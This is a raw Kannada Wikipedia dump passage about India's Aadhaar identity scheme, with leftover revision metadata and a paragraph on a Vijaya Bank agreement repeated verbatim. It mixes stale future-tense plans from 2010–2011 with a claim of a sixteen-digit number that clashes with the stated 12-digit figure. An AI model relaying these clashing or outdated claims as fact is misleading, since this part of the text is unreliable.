ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] bhpcyxhnvqm0z51r770ad91vrkrfh97 1116512 1116509 2022-08-23T15:44:30Z ChiK 40016 wikitext text/x-wiki {{Infobox project | logo = [[File:Aadhaar Logo.svg|250px]] | image = | caption = "Mera Aadhaar, Meri Pehchaan"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[India]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[Ministry of Electronics and Information Technology]], [[India]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ಆಧಾರ್''' ಎಂಬುದು ೧೨ ಅಂಕೆಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯಾಗಿದ್ದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿಸುವಿಕೆಯ ಪ್ರಾಧಿಕಾರದ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ) ಮುಖ್ಯಸ್ಥರನ್ನಾಗಿ ನೇಮಿಸಲಾಗಿದ್ದು, ಅವರು ಓರ್ವ ಮಂತ್ರಿಯ ದರ್ಜೆಯನ್ನು ಹೊಂದಲಿದ್ದಾರೆ.<ref name="deccanherald.com">10.2</ref> ಇನ್ಫೋಸಿಸ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ನ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯಿಂದ ಕೆಳಗಿಳಿಯಲು ಅವರು ನಿರ್ಧರಿಸಿದ್ದಾರೆ.<ref name="business-standard.com">[http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ]</ref> ಈ ಪ್ರಾಧಿಕಾರವನ್ನು ಯೋಜನಾ ಆಯೋಗದ ಆಶ್ರಯ ಅಡಿಯಲ್ಲಿನ ಒಂದು ಸೇರಿಸಿದ ಕಚೇರಿಯನ್ನಾಗಿ ಘೋಷಿಸಲಾಗಿದೆ. ಹಿಂದಿ ಭಾಷೆಯಲ್ಲಿ ಬೆಂಬಲ ಎಂಬ ಅರ್ಥವನ್ನು ನೀಡುವ ಮತ್ತು 'ಆಧಾರ್‌' ಎಂಬುದಾಗಿ ಕರೆಯಲ್ಪಟ್ಟಿರುವ ಯೋಜನೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಒಂದು ಹೊಸ ಹೆಸರು ಮತ್ತು ಲಾಂಛನವನ್ನು ಅವರು ಪ್ರಕಟಿಸಿದ್ದಾರೆ. ಭಾರತೀಯ ವಿಶಿಷ್ಟವಾದ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ಅಥವಾ UIDAI, ಭಾರತೀಯ ನಿವಾಸಿಗಳಿಗೆಲ್ಲಾ ೧೨ ಅಂಕಗಳ ಸಂಖ್ಯೆಯುಳ್ಳ 'ಗುರುತಿನ-ಪತ್ರ' ನೀಡುವ ಮಹದಾಂಕ್ಷೆಯ ಯೋಜನೆ ’ಆಧಾರ್, ಏಪ್ರಿಲ್ ೨೬, ೨೦೧೦ ರಂದು, ಪುನರ್ನಿರ್ಮಾಣವಾಗಿದೆ. ಯೋಜನೆಯ ಅನುಷ್ಠಾನಕ್ಕೆ ಅನುಕೂಲವಾಗುವಂತೆ ೨೦೧೧ ನೇ ಇಸವಿಯ ಜನಗಣತಿಯ ವೇಳೆಯಲ್ಲಿ 'ಪ್ರತಿಯೊಬ್ಬ ಭಾರತೀಯನ ಎಲ್ಲಾ ಹತ್ತು ಬೆರಳುಗಳ ಬೆರಳಚ್ಚುಗಳನ್ನು ಪಡೆಯಲಾಗುತ್ತದೆ', ಹಾಗೂ 'ಕಣ್ಣಿನ ಸ್ಕ್ಯಾನಿಂಗ್' ಮಾಡಲಾಗುತ್ತದೆ. 'ಪ್ರತಿಯೊಬ್ಬರನ್ನೂ ಹದಿನಾರು ಅಂಕೆಗಳ ಒಂದು ಸಂಖ್ಯೆ ಮೂಲಕ ಗುರುತಿಸಲಾಗುವಂತೆ ವ್ಯವಸ್ಥೆ ಮಾಡಲಾಗಿದೆ'. ಮುಂದಿನ ನಾಲ್ಕೈದು ವರ್ಷಗಳಲ್ಲಿ ಕನಿಷ್ಟಪಕ್ಷ ಭಾರತದ ೬೦ ಕೋಟಿ ಜನತೆ, ಮೇಲೆತಿಳಿಸಿರುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಧಾಖಲಿಸಿರುವ ಗುರುತು ಚೀಟಿಯನ್ನು ಪಡೆಯಲಿದ್ದಾರೆ. ಎಲ್ಲಾ ಪ್ರಮುಖ ದಾಖಲಾತಿಗಳಲ್ಲೂ ಅದು ಮುಖ್ಯಸ್ಥಾನ ಪಡೆದುಕೊಳ್ಳಲಿದೆ. [[File:Aadhaar Seva Kendra, Bhopal.jpg|thumb|350px|]] == ಸ್ವರೂಪ == ಭಾರತದ ಒಂದು ಶತಕೋಟಿಗೂ ಮಿಕ್ಕಿದ ನಾಗರಿಕರ ಹಾಗೂ ಭವಿಷ್ಯದಲ್ಲಿ ಜನನವಾಗಲಿರುವ ಮಕ್ಕಳ ಗಣನೆಯನ್ನು ಸರಿಹೊಂದಿಸುವ ದೃಷ್ಟಿಯಿಂದ, ಸದರಿ ID ವ್ಯವಸ್ಥೆಯು ಒಂದು ಬೃಹತ್‌‌ ಅಕ್ಷರಸಂಖ್ಯಾಯುಕ್ತ ಸರಣಿಯಾಗಿ ಮಾರ್ಪಡುವ ಸಾಧ್ಯತೆಯಿದೆ. 16 ಕೆಬಿ ಅಥವಾ 64 ಕೆಬಿ ಸಾಮರ್ಥ್ಯದ ಒಂದು ಸಂಗ್ರಹಣಾ ಬಿಲ್ಲೆಯನ್ನು ಈ ಕಾರ್ಡಿನಲ್ಲಿ ಅಳವಡಿಸುವ ಸಾಧ್ಯತೆಯಿದೆ.ಒಂದು ಛಾಯಾಚಿತ್ರ ಮತ್ತು ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ 